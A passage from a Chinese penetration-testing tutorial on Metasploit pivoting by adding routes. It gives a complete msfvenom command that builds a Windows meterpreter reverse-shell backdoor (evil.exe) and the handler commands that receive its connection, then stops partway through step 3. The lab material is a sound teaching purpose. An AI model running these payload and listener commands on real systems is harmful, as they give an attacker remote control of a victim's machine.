内网安全之：Metasploit 跳板攻击: 添加路由方式

郑重声明：
本笔记编写目的只用于安全知识提升，并与更多人共享安全知识，切勿使用笔记中的技术进行违法活动，利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责，共同维护网络文明和谐。

1 Metasploit 跳板攻击: 添加路由方式原理

• 通过网络层可达实现跳板攻击
• 缺点是容易被防火墙拦截流量。

2 实验环境

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OLUbH4Yo-1630742567249)(C:\Users\f_carey\AppData\Roaming\Typora\typora-user-images\image-20210904133542442.png)]

2.1 建立 meterpreter 反向连接

1. 生成 Metaspolit 后门程序

   msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -f exe > /var/www/html/evil.exe
   

2. kali 配置监听 meterpreter 反向连接

   use exploit/multi/handler
   set payload windows/meterpreter/reverse_tcp
   set lhost 192.168.0.2
   run
   

3. WEB Server 下